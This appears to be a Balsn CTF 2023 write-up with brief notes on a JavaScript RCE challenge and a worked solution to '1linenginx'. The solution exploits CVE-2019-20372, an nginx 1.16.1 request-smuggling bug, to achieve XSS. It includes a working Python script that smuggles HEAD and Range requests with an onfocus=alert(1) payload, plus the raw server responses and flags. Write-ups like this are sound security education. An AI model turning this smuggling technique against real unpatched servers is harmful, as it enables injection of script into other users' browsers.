- CTFtime: https://ctftime.org/event/2056/
- 10 solves / 285 solves
Who will do this?
http://saas.balsnctf.com:8787
Author: cjiso1117
The challenge is a JavaScript RCE challenge.
My solver is saas_exploit.py
.
$id
is injected toifSchemaRef
at:- The injected code
contextFunctionCode
is executed at:
BALSN{N0t_R3al1y_aN_u3s_Ca53}
- 6 solves / 407 pts
It works!
Challenge: http://1linenginx.balsnctf.com
Bot: http://1linenginxbot.balsnctf.com
Author: Ginoah
The challenge is very simple.
default.conf
(formatted):
server {
root /usr/share/nginx/html;
if ($host !~ [\<\>\'\"\`\&\;\\\/\?\#\$]) {
set $rhost $host;
}
error_page 404 =200 http://$rhost/;
}
It seems to have no vulnerabilities, but the nginx is old:
# nginx -v
nginx version: nginx/1.16.1
It has CVE-2019-20372 (Request Smuggling):
- https://nvd.nist.gov/vuln/detail/CVE-2019-20372
- PoC: https://github.com/vuongnv3389-sec/CVE-2019-20372
The goal is to gain an XSS with Request Smuggling.
An example that performs an XSS:
# test.py
import pwn
# pwn.context.log_level = "DEBUG"
# HOST = "localhost"
HOST = "1linenginx.balsnctf.com"
io = pwn.remote(HOST, "80")
smuggled = "HEAD / HTTP/1.1\r\nHost: a\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nRange: bytes=422-424\r\n\r\nGET /a HTTP/1.1\r\nHost: \tid=x\ttabindex=1\tonfocus=alert(1)\tautofocus\t\r\n\r\n"
io.send(f"POST /a HTTP/1.1\r\nHost: {HOST}\r\nContent-Length: {len(smuggled)}\r\n\r\n{smuggled}".encode())
res = io.recvall(timeout=1)
print(res.decode().replace("\r", ""))
$ python test.py
[+] Opening connection to 1linenginx.balsnctf.com on port 80: Done
[+] Receiving all data: Done (1.20KB)
[*] Closed connection to 1linenginx.balsnctf.com port 80
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://1linenginx.balsnctf.com/
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.16.1</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 13 Aug 2019 10:05:00 GMT
Connection: keep-alive
ETag: "5d528b4c-264"
Accept-Ranges: bytes
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 3
Last-Modified: Tue, 13 Aug 2019 10:05:00 GMT
Connection: keep-alive
ETag: "5d528b4c-264"
Content-Range: bytes 422-424/612
<a HTTP/1.1 302 Moved Temporarily
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http:// id=x tabindex=1 onfocus=alert(1) autofocus /
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.16.1</center>
</body>
</html>
This example has two points:
- A HEAD request:
- Nginx does not return the response body for a HEAD request, but the response includes a
Content-Length
header.
- Nginx does not return the response body for a HEAD request, but the response includes a
- A HTTP range request:
bytes=422-424
of/usr/share/nginx/html/index.html
is<a
If a browser sends the above request many times at the same time, some of the responses will be as follows:
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 13 Aug 2019 10:05:00 GMT
Connection: keep-alive
ETag: "5d528b4c-264"
Accept-Ranges: bytes
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 3
Last-Modified: Tue, 13 Aug 2019 10:05:00 GMT
Connection: keep-alive
ETag: "5d528b4c-264"
Content-Range: bytes 422-424/612
<a HTTP/1.1 302 Moved Temporarily
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http:// id=x tabindex=1 onfocus=alert(1) autofocus /
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.16.1</cen
Finally, I served index.html
and main.js
, and reported the URL to get a flag. See the files.
BALSN{CL.0_XSS!W31rd_B3h4v10r_1n_Chrom3s_C0nn3ct10n_P00l..}